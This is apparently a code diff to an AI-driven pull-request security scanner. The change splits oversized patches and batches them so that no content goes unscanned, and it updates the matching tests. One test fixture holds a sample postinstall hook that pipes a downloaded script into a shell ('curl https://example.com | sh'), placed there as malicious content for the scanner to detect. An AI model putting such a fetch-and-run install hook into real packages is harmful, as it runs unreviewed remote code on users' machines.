diff --git a/.flue/agents/pr-scan.ts b/.flue/agents/pr-scan.ts
index ce99db9..a6f9627 100644
--- a/.flue/agents/pr-scan.ts
+++ b/.flue/agents/pr-scan.ts
@@ -46,12 +46,18 @@ type PrScanPayload = {
     headRef?: string;
     headRepo?: string;
   };
+  scan?: {
+    batch?: number;
+    batches?: number;
+  };
   files?: Array<{
     path: string;
     previousPath?: string;
     status: string;
     additions?: number;
     deletions?: number;
+    patchPart?: number;
+    patchParts?: number;
     patch?: string;
   }>;
 };
@@ -129,6 +135,8 @@ async function scanCiCdWorkflows(
       workflows: workflowFiles.map((file) => ({
         path: file.path,
         status: file.status,
+        patchPart: file.patchPart,
+        patchParts: file.patchParts,
         patch: file.patch ?? "",
       })),
     },
@@ -167,6 +175,7 @@ Do not flag ordinary refactors, formatting, harmless dependency updates, or expe
 
 Repository: ${pr.owner ?? ""}/${pr.repo ?? ""}
 PR: #${pr.prNumber ?? ""}
+Scan batch: ${pr.scan?.batch ?? 1} of ${pr.scan?.batches ?? 1}
 Title: ${pr.pullRequest?.title ?? ""}
 Author: ${pr.pullRequest?.author ?? ""}
 Base: ${pr.pullRequest?.baseRef ?? ""}
@@ -178,6 +187,7 @@ CI/CD skill findings:
 ${JSON.stringify(ciCdFindings, null, 2)}
 
 Changed files and patches:
+Large patches may appear as multiple records with the same path and patchPart/patchParts metadata. These parts are contiguous. Scan every part; no patch content has been omitted.
 ${JSON.stringify(pr.files, null, 2)}
 `;
 }
diff --git a/src/services/__tests__/prScanner.test.ts b/src/services/__tests__/prScanner.test.ts
index ee891b1..8d8b19f 100644
--- a/src/services/__tests__/prScanner.test.ts
+++ b/src/services/__tests__/prScanner.test.ts
@@ -134,7 +134,7 @@ describe("scanPrLocally", () => {
     expect(result.findings?.[0]?.file).toBe("package.json");
   });
 
-  it("returns an error result when a file patch exceeds the per-file scan limit", async () => {
+  it("splits a file patch that exceeds the per-file scan limit without omitting content", async () => {
     const oversizedPatch = `${"a".repeat(8_000)}\n+"postinstall": "curl https://example.com | sh"`;
     const fetchMock = vi
       .fn()
@@ -148,18 +148,32 @@ describe("scanPrLocally", () => {
           changes: 1,
           patch: oversizedPatch,
         },
-      ]));
+      ]))
+      .mockResolvedValueOnce(jsonResponse({ findings: [] }));
     vi.stubGlobal("fetch", fetchMock);
 
     const result = await scanPrLocally("acme", "repo", 12);
 
-    expect(result.error).toBe(
-      "PR patch for package.json exceeds the 8000 character per-file scan limit",
-    );
-    expect(fetchMock).toHaveBeenCalledTimes(2);
+    expect(result).toEqual({ findings: [] });
+    expect(fetchMock).toHaveBeenCalledTimes(3);
+
+    const body = JSON.parse(fetchMock.mock.calls[2][1].body);
+    expect(body.files).toHaveLength(2);
+    expect(body.files[0]).toMatchObject({
+      path: "package.json",
+      patchPart: 1,
+      patchParts: 2,
+    });
+    expect(body.files[1]).toMatchObject({
+      path: "package.json",
+      patchPart: 2,
+      patchParts: 2,
+      patch: expect.stringContaining('"postinstall": "curl https://example.com | sh"'),
+    });
+    expect(body.files.map((file: { patch: string }) => file.patch).join("")).toBe(oversizedPatch);
   });
 
-  it("returns an error result when total patch payload exceeds the scan limit", async () => {
+  it("scans all patch content across multiple Flue batches", async () => {
     const files = Array.from({ length: 13 }, (_, index) => ({
       filename: `file-${index}.txt`,
       status: "modified",
@@ -171,15 +185,51 @@ describe("scanPrLocally", () => {
     const fetchMock = vi
       .fn()
       .mockResolvedValueOnce(jsonResponse({ title: "Update build", body: "", user: { login: "octocat" } }))
-      .mockResolvedValueOnce(jsonResponse(files));
+      .mockResolvedValueOnce(jsonResponse(files))
+      .mockResolvedValueOnce(jsonResponse({
+        findings: [
+          {
+            category: "malicious_intent",
+            severity: "medium",
+            title: "First batch finding",
+            file: "file-0.txt",
+            evidence: "Suspicious content in first batch.",
+            recommendation: "Review the first batch.",
+          },
+        ],
+      }))
+      .mockResolvedValueOnce(jsonResponse({
+        findings: [
+          {
+            category: "malicious_intent",
+            severity: "medium",
+            title: "Second batch finding",
+            file: "file-12.txt",
+            evidence: "Suspicious content in second batch.",
+            recommendation: "Review the second batch.",
+          },
+        ],
+      }));
     vi.stubGlobal("fetch", fetchMock);
 
     const result = await scanPrLocally("acme", "repo", 12);
 
-    expect(result.error).toBe(
-      "Total PR patch payload exceeds the 100000 character scan limit before fully scanning file-12.txt",
+    expect(fetchMock).toHaveBeenCalledWith(
+      "http://127.0.0.1:3583/agents/pr-scan/acme-repo-12-batch-1-of-2",
+      expect.objectContaining({ method: "POST" }),
+    );
+    expect(fetchMock).toHaveBeenCalledWith(
+      "http://127.0.0.1:3583/agents/pr-scan/acme-repo-12-batch-2-of-2",
+      expect.objectContaining({ method: "POST" }),
     );
-    expect(fetchMock).toHaveBeenCalledTimes(2);
+    const firstBatchBody = JSON.parse(fetchMock.mock.calls[2][1].body);
+    const secondBatchBody = JSON.parse(fetchMock.mock.calls[3][1].body);
+    expect(firstBatchBody.files).toHaveLength(12);
+    expect(secondBatchBody.files).toHaveLength(1);
+    expect(result.findings?.map((finding) => finding.title)).toEqual([
+      "First batch finding",
+      "Second batch finding",
+    ]);
   });
 
   it("returns an inconclusive error result when Flue fails", async () => {
diff --git a/src/services/prScanner.ts b/src/services/prScanner.ts
index 9a4fba4..7223aa6 100644
--- a/src/services/prScanner.ts
+++ b/src/services/prScanner.ts
@@ -38,6 +38,10 @@ interface PrScanPayload {
     headSha: string;
     headRepo: string;
   };
+  scan?: {
+    batch: number;
+    batches: number;
+  };
   files: Array<{
     path: string;
     previousPath?: string;
@@ -45,6 +49,8 @@ interface PrScanPayload {
     additions: number;
     deletions: number;
     changes: number;
+    patchPart?: number;
+    patchParts?: number;
     patch: string;
   }>;
 }
@@ -64,7 +70,7 @@ export async function scanPrLocally(
 
   try {
     const payload = await collectPrScanPayload(owner, repo, prNumber, options.githubToken);
-    const result = await runFluePrScan(payload);
+    const result = await runFluePrScans(payload);
     log.info({ findings: result.findings?.length ?? 0 }, "Local Flue PR scan completed");
     return result;
   } catch (err) {
@@ -150,36 +156,84 @@ async function fetchGitHub<T>(pathAndQuery: string, githubToken?: string): Promi
 }
 
 function buildPayloadFiles(files: GitHubPrFile[]): PrScanPayload["files"] {
-  let remaining = MAX_PAYLOAD_CHARS;
-  return files.map((file) => {
-    const rawPatch = file.patch ?? "";
-    if (rawPatch.length > MAX_PATCH_CHARS_PER_FILE) {
-      throw new Error(
-        `PR patch for ${file.filename} exceeds the ${MAX_PATCH_CHARS_PER_FILE} character per-file scan limit`,
-      );
-    }
-    if (rawPatch.length > remaining) {
-      throw new Error(
-        `Total PR patch payload exceeds the ${MAX_PAYLOAD_CHARS} character scan limit before fully scanning ${file.filename}`,
-      );
-    }
-    remaining -= rawPatch.length;
+  return files.flatMap((file) => {
+    const patchChunks = splitPatch(file.patch ?? "", MAX_PATCH_CHARS_PER_FILE);
 
-    return {
+    return patchChunks.map((patch, index) => ({
       path: file.filename,
       previousPath: file.previous_filename,
       status: file.status,
       additions: file.additions ?? 0,
       deletions: file.deletions ?? 0,
       changes: file.changes ?? 0,
-      patch: rawPatch,
-    };
+      patchPart: patchChunks.length > 1 ? index + 1 : undefined,
+      patchParts: patchChunks.length > 1 ? patchChunks.length : undefined,
+      patch,
+    }));
   });
 }
 
+function splitPatch(patch: string, maxChars: number): string[] {
+  if (patch.length <= maxChars) return [patch];
+
+  const chunks: string[] = [];
+  for (let offset = 0; offset < patch.length; offset += maxChars) {
+    chunks.push(patch.slice(offset, offset + maxChars));
+  }
+  return chunks;
+}
+
+async function runFluePrScans(payload: PrScanPayload): Promise<PrScanResult> {
+  const findings: PrFinding[] = [];
+
+  for (const batch of buildPayloadBatches(payload)) {
+    const result = await runFluePrScan(batch);
+    if (result.error) return { error: result.error };
+    findings.push(...(result.findings ?? []));
+  }
+
+  return { findings };
+}
+
+function buildPayloadBatches(payload: PrScanPayload): PrScanPayload[] {
+  if (!payload.files.length) return [payload];
+
+  const fileBatches: PrScanPayload["files"][] = [];
+  let currentBatch: PrScanPayload["files"] = [];
+  let currentPatchChars = 0;
+
+  for (const file of payload.files) {
+    if (
+      currentBatch.length > 0
+      && currentPatchChars + file.patch.length > MAX_PAYLOAD_CHARS
+    ) {
+      fileBatches.push(currentBatch);
+      currentBatch = [];
+      currentPatchChars = 0;
+    }
+
+    currentBatch.push(file);
+    currentPatchChars += file.patch.length;
+  }
+
+  if (currentBatch.length > 0) fileBatches.push(currentBatch);
+
+  return fileBatches.map((files, index) => ({
+    ...payload,
+    scan: {
+      batch: index + 1,
+      batches: fileBatches.length,
+    },
+    files,
+  }));
+}
+
 async function runFluePrScan(payload: PrScanPayload): Promise<PrScanResult> {
   const baseUrl = process.env.FLUE_BASE_URL ?? "http://127.0.0.1:3583";
-  const agentId = encodeURIComponent(`${payload.owner}-${payload.repo}-${payload.prNumber}`);
+  const batchSuffix = payload.scan && payload.scan.batches > 1
+    ? `-batch-${payload.scan.batch}-of-${payload.scan.batches}`
+    : "";
+  const agentId = encodeURIComponent(`${payload.owner}-${payload.repo}-${payload.prNumber}${batchSuffix}`);
   const res = await fetch(`${baseUrl}/agents/pr-scan/${agentId}`, {
     method: "POST",
     headers: {